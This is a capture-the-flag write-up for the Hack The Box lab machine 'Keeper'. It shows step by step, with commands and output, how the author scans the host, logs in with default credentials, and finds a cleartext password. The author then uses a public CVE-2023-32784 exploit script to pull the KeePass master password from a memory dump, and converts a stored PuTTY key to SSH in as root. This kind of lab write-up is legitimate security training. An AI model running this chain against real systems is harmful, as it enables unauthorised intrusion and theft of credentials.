We can start out with a port scan:
╰─ nmap -sC -sV 10.129.121.185
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-18 15:25 EDT
Nmap scan report for 10.129.121.185
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds
We see open ports for SSH and HTTP, let’s curl the site and see what is there:
╰─ curl http://10.129.121.185
<html>
<body>
<a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
</body>
</html>
Seeing the host name tickets.keeper.htb, we might want to add those to our /etc/hosts file like so:
#in your hosts file:
10.129.121.185 keeper.htb tickets.keeper.htb
Once we do this and go to tickets.keeper.htb, we see the following:
After trying some default credentials combinations, we are able to get right past this login page and we see that there is one new ticket in the queue:
Looking into the ticket shows us that Lise Nørgaard is having trouble using keepass:
If we navigate to Admin > Users > Select and select the lnorgaard user, we see the following cleartext credential:
We can use this to log into SSH and get our user flag:
╰─ ssh lnorgaard@keeper.htb
lnorgaard@keeper.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ ls
RT30000.zip user.txt
Next, I want to take a look at the RT30000.zip archive, so we can open a HTTP server with python in this directory and download it to our machine:
lnorgaard@keeper:~$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
Then we can use wget to download it to our machine:
╰─ wget http://keeper.htb:8888/RT30000.zip
--2023-08-18 16:29:56-- http://keeper.htb:8888/RT30000.zip
Resolving keeper.htb (keeper.htb)... 10.129.121.185
Connecting to keeper.htb (keeper.htb)|10.129.121.185|:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 87391651 (83M) [application/zip]
Saving to: ‘RT30000.zip’
RT30000.zip 100%[======================>] 83.34M 5.69MB/s in 15s
2023-08-18 16:30:17 (5.52 MB/s) - ‘RT30000.zip’ saved [87391651/87391651]
Let’s unzip this and take a look inside:
╰─ unzip RT30000.zip
Archive: RT30000.zip
inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx
╰─ ls -l
total 332812
-rwxr-x--- 1 kali kali 253395188 May 24 06:51 KeePassDumpFull.dmp
-rwxr-x--- 1 kali kali 3630 May 24 06:51 passcodes.kdbx
-rw-r--r-- 1 kali kali 87391651 Aug 18 16:28 RT30000.zip
When googling around trying to see if I could figure out the version of KeePass used from the dump file, I found the following article: Simple Security Exploit Allows Retrieval Of KeePass Master Password
This article mentions CVE-2023-32784, and if you look into it and read a bit more you’ll find it is pretty interesting.
To summarize, KeePass uses a custom-developed text box and it has a flaw that can be exploited. For every character types into the text box, a leftover string is made in memory. And because of its implementation, it can’t be removed after it is created.
I was able to find a nifty exploit on GitHub here that worked pretty well for me.
We can use it to dump the password from the .dmp file like this:
╰─ python3 keepass_dump.py -f KeePassDumpFull.dmp
[*] Searching for masterkey characters
[-] Couldn't find jump points in file. Scanning with slower method.
[*] 0: {UNKNOWN}
[*] 2: d
[*] 3: g
[*] 4: r
[*] 6: d
[*] 7:
[*] 8: m
[*] 9: e
[*] 10: d
[*] 11:
[*] 12: f
[*] 13: l
[*] 15: d
[*] 16: e
[*] Extracted: {UNKNOWN}dgrd med flde
It doesn’t seem to work on the first try, and we will need to guess the first character. If we just google possibilities for the first character we see something interesting that actually turns out to be our password:
Once we’ve got this we can use kpcli to access the passcodes.kdbx password vault:
╰─ kpcli --kdb=passcodes.kdbx
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> ls
=== Groups ===
passcodes/
kpcli:/> cd passcodes
kpcli:/passcodes> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
kpcli:/passcodes> cd Network
kpcli:/passcodes/Network> ls
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System
kpcli:/passcodes/Network> show -f 0
Title: keeper.htb (Ticketing Server)
Uname: root
Pass: F4><3K0nd!
URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
---SNIP---
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
kpcli:/passcodes/Network>
We can see a Putty user key when using -f 0 to view the passwords in this directory. We can use this to log into SSH if we just transform it from the .ppk format into the id_rsa format we are used to seeing.
There is a useful conversation on here that you can use to figure out what you’ll need to install to follow along.
We transform the key:
╰─ puttygen key.ppk -O private-openssh -o id_rsa
Then, we change the permissions so we can use it to log in:
╰─ chmod 600 id_rsa
Then we can SSH in as root:
╰─ ssh root@keeper.htb -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~#